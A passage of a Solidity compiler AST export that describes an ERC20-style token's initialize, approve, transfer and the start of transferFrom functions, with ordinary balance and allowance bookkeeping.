ref"}},"id":32437,"nodeType":"ExpressionStatement","src":"2657:13:20"},{"expression":{"id":32440,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":32438,"name":"_symbol","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32327,"src":"2680:7:20","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":32439,"name":"symbol_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32423,"src":"2690:7:20","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"2680:17:20","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"id":32441,"nodeType":"ExpressionStatement","src":"2680:17:20"},{"expression":{"id":32444,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":32442,"name":"_decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32329,"src":"2707:9:20","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":32443,"name":"decimals_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32425,"src":"2719:9:20","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"src":"2707:21:20","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"id":32445,"nodeType":"ExpressionStatement","src":"2707:21:20"},{"expression":{"id":32449,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":32446,"name":"INITIAL_CHAIN_ID","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32409,"src":"2739:16:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":32447,"name":"_pureChainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32892,"src":"2758:12:20","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$__$returns$_t_uint256_$","typeString":"function () pure returns (uint256)"}},"id":32448,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2758:14:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2739:33:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":32450,"nodeType":"ExpressionStatement","src":"2739:33:20"},{"expression":{"id":32454,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":32451,"name":"INITIAL_DOMAIN_SEPARATOR","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32411,"src":"2782:24:20","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":32452,"name":"computeDomainSeparator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32737,"src":"2809:22:20","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_bytes32_$","typeString":"function () view returns (bytes32)"}},"id":32453,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2809:24:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"2782:51:20","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":32455,"nodeType":"ExpressionStatement","src":"2782:51:20"},{"expression":{"id":32458,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":32456,"name":"initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32418,"src":"2844:11:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":32457,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2858:4:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"2844:18:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":32459,"nodeType":"ExpressionStatement","src":"2844:18:20"}]},"documentation":{"id":32419,"nodeType":"StructuredDocumentation","src":"2302:197:20","text":"@dev To hide constructor warnings across solc versions due to different constructor visibility requirements and\n syntaxes, we add an initialization function that can be called only once."},"functionSelector":"1624f6c6","implemented":true,"kind":"function","modifiers":[],"name":"initialize","nameLocation":"2513:10:20","parameters":{"id":32426,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32421,"mutability":"mutable","name":"name_","nameLocation":"2538:5:20","nodeType":"VariableDeclaration","scope":32461,"src":"2524:19:20","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32420,"name":"string","nodeType":"ElementaryTypeName","src":"2524:6:20","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":32423,"mutability":"mutable","name":"symbol_","nameLocation":"2559:7:20","nodeType":"VariableDeclaration","scope":32461,"src":"2545:21:20","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32422,"name":"string","nodeType":"ElementaryTypeName","src":"2545:6:20","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":32425,"mutability":"mutable","name":"decimals_","nameLocation":"2574:9:20","nodeType":"VariableDeclaration","scope":32461,"src":"2568:15:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":32424,"name":"uint8","nodeType":"ElementaryTypeName","src":"2568:5:20","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"visibility":"internal"}],"src":"2523:61:20"},"returnParameters":{"id":32427,"nodeType":"ParameterList","parameters":[],"src":"2592:0:20"},"scope":32893,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":32490,"nodeType":"FunctionDefinition","src":"3057:221:20","nodes":[],"body":{"id":32489,"nodeType":"Block","src":"3146:132:20","nodes":[],"statements":[{"expression":{"id":32478,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"baseExpression":{"id":32471,"name":"_allowance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32368,"src":"3156:10:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":32475,"indexExpression":{"expression":{"id":32472,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3167:3:20","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":32473,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3171:6:20","memberName":"sender","nodeType":"MemberAccess","src":"3167:10:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3156:22:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32476,"indexExpression":{"id":32474,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32463,"src":"3179:7:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"3156:31:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":32477,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32465,"src":"3190:6:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3156:40:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":32479,"nodeType":"ExpressionStatement","src":"3156:40:20"},{"eventCall":{"arguments":[{"expression":{"id":32481,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3221:3:20","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":32482,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3225:6:20","memberName":"sender","nodeType":"MemberAccess","src":"3221:10:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":32483,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32463,"src":"3233:7:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":32484,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32465,"src":"3242:6:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":32480,"name":"Approval","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31894,"src":"3212:8:20","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":32485,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3212:37:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":32486,"nodeType":"EmitStatement","src":"3207:42:20"},{"expression":{"hexValue":"74727565","id":32487,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3267:4:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":32470,"id":32488,"nodeType":"Return","src":"3260:11:20"}]},"baseFunctions":[31938],"functionSelector":"095ea7b3","implemented":true,"kind":"function","modifiers":[],"name":"approve","nameLocation":"3066:7:20","overrides":{"id":32467,"nodeType":"OverrideSpecifier","overrides":[],"src":"3122:8:20"},"parameters":{"id":32466,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32463,"mutability":"mutable","name":"spender","nameLocation":"3082:7:20","nodeType":"VariableDeclaration","scope":32490,"src":"3074:15:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32462,"name":"address","nodeType":"ElementaryTypeName","src":"3074:7:20","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32465,"mutability":"mutable","name":"amount","nameLocation":"3099:6:20","nodeType":"VariableDeclaration","scope":32490,"src":"3091:14:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32464,"name":"uint256","nodeType":"ElementaryTypeName","src":"3091:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3073:33:20"},"returnParameters":{"id":32470,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32469,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32490,"src":"3140:4:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":32468,"name":"bool","nodeType":"ElementaryTypeName","src":"3140:4:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"3139:6:20"},"scope":32893,"stateMutability":"nonpayable","virtual":true,"visibility":"public"},{"id":32534,"nodeType":"FunctionDefinition","src":"3284:288:20","nodes":[],"body":{"id":32533,"nodeType":"Block","src":"3369:203:20","nodes":[],"statements":[{"expression":{"id":32511,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":32500,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32362,"src":"3379:10:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32503,"indexExpression":{"expression":{"id":32501,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3390:3:20","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":32502,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3394:6:20","memberName":"sender","nodeType":"MemberAccess","src":"3390:10:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"3379:22:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"baseExpression":{"id":32505,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32362,"src":"3409:10:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32508,"indexExpression":{"expression":{"id":32506,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3420:3:20","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":32507,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3424:6:20","memberName":"sender","nodeType":"MemberAccess","src":"3420:10:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3409:22:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":32509,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32494,"src":"3433:6:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":32504,"name":"_sub","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32853,"src":"3404:4:20","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":32510,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3404:36:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3379:61:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":32512,"nodeType":"ExpressionStatement","src":"3379:61:20"},{"expression":{"id":32522,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":32513,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32362,"src":"3450:10:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32515,"indexExpression":{"id":32514,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32492,"src":"3461:2:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"3450:14:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"baseExpression":{"id":32517,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32362,"src":"3472:10:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32519,"indexExpression":{"id":32518,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32492,"src":"3483:2:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3472:14:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":32520,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32494,"src":"3488:6:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":32516,"name":"_add","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32832,"src":"3467:4:20","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":32521,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3467:28:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3450:45:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":32523,"nodeType":"ExpressionStatement","src":"3450:45:20"},{"eventCall":{"arguments":[{"expression":{"id":32525,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3520:3:20","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":32526,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3524:6:20","memberName":"sender","nodeType":"MemberAccess","src":"3520:10:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":32527,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32492,"src":"3532:2:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":32528,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32494,"src":"3536:6:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":32524,"name":"Transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31885,"src":"3511:8:20","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":32529,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3511:32:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":32530,"nodeType":"EmitStatement","src":"3506:37:20"},{"expression":{"hexValue":"74727565","id":32531,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3561:4:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":32499,"id":32532,"nodeType":"Return","src":"3554:11:20"}]},"baseFunctions":[31918],"functionSelector":"a9059cbb","implemented":true,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"3293:8:20","overrides":{"id":32496,"nodeType":"OverrideSpecifier","overrides":[],"src":"3345:8:20"},"parameters":{"id":32495,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32492,"mutability":"mutable","name":"to","nameLocation":"3310:2:20","nodeType":"VariableDeclaration","scope":32534,"src":"3302:10:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32491,"name":"address","nodeType":"ElementaryTypeName","src":"3302:7:20","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32494,"mutability":"mutable","name":"amount","nameLocation":"3322:6:20","nodeType":"VariableDeclaration","scope":32534,"src":"3314:14:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32493,"name":"uint256","nodeType":"ElementaryTypeName","src":"3314:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3301:28:20"},"returnParameters":{"id":32499,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32498,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32534,"src":"3363:4:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":32497,"name":"bool","nodeType":"ElementaryTypeName","src":"3363:4:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"3362:6:20"},"scope":32893,"stateMutability":"nonpayable","virtual":true,"visibility":"public"},{"id":32606,"nodeType":"FunctionDefinition","src":"3578:472:20","nodes":[],"body":{"id":32605,"nodeType":"Block","src":"3681:369:20","nodes":[],"statements":[{"assignments":[32547],"declarations":[{"constant":false,"id":32547,"mutability":"mutable","name":"allowed","nameLocation":"3699:7:20","nodeType":"VariableDeclaration","scope":32605,"src":"3691:15:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32546,"name":"uint256","nodeType":"ElementaryTypeName","src":"3691:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":32554,"initialValue":{"baseExpression":{"baseExpression":{"id":32548,"name":"_allowance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32368,"src":"3709:10:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":32550,"indexExpression":{"id":32549,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32536,"src":"3720:4:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3709:16:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32553,"indexExpression":{"expression":{"id":32551,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3726:3:20","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":32552,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3730:6:20","memberName":"sender","nodeType":"MemberAccess","src":"3726:10:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3709:28:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"3691:46:20"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":32561,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":32555,"name":"allowed","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32547,"src":"3788:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":32560,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"~","prefix":true,"src":"3799:11:20","subExpression":{"arguments":[{"hexValue":"30","id":32558,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3808:1:20","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":32557,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3800:7:20","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":32556,"name":"uint256","nodeType":"ElementaryTypeName","src":"3800:7:20","typeDescriptions":{}}},"id":32559,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3800:10:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3788:22:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":32574,"nodeType":"IfStatement","src":"3784:80:20","trueBody":{"expression":{"id":32572,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"baseExpression":{"id":32562,"name":"_allowance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32368,"src":"3812:10:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":32566,"indexExpression":{"id":32563,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32536,"src":"3823:4:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3812:16:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32567,"indexExpression":{"expression":{"id":32564,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3829:3:20","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":32565,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3833:6:20","memberName":"sender","nodeType":"MemberAccess","src":"3829:10:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"3812:28:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":32569,"name":"allowed","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32547,"src":"3848:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":32570,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32540,"src":"3857:6:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":32568,"name":"_sub","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32853,"src":"3843:4:20","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":32571,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3843:21:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3812:52:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":32573,"nodeType":"ExpressionStatement","src":"3812:52:20"}},{"expression":{"id":32584,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":32575,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32362,"src":"3875:10:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32577,"indexExpression":{"id":32576,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32536,"src":"3886:4:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"3875:16:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"baseExpression":{"id":32579,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32362,"src":"3899:10:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => 